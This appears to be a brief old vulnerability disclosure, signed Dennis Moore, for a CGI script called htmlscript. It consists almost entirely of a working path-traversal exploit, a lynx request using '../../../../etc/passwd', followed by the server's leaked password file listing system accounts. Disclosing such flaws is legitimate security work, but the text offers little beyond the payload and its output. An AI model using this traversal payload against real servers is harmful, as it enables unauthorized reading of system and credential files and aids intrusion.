Exploit:

jaxx0r:/# lynx http://www.host.org/cgi-bin/htmlscript?../../../../etc/passwd

  root:x:0:1:Super-User:/export/home/root:/sbin/sh
  daemon:x:1:1::/:
  bin:x:2:2::/usr/bin:
  sys:x:3:3::/:
  adm:x:4:4:Admin:/var/adm:
  lp:x:71:8:Line Printer Admin:/usr/spool/lp:
  smtp:x:0:0:Mail Daemon User:/:/bin/false
  
                                Dennis Moore (rainking@FEEDING.FRENZY.COM)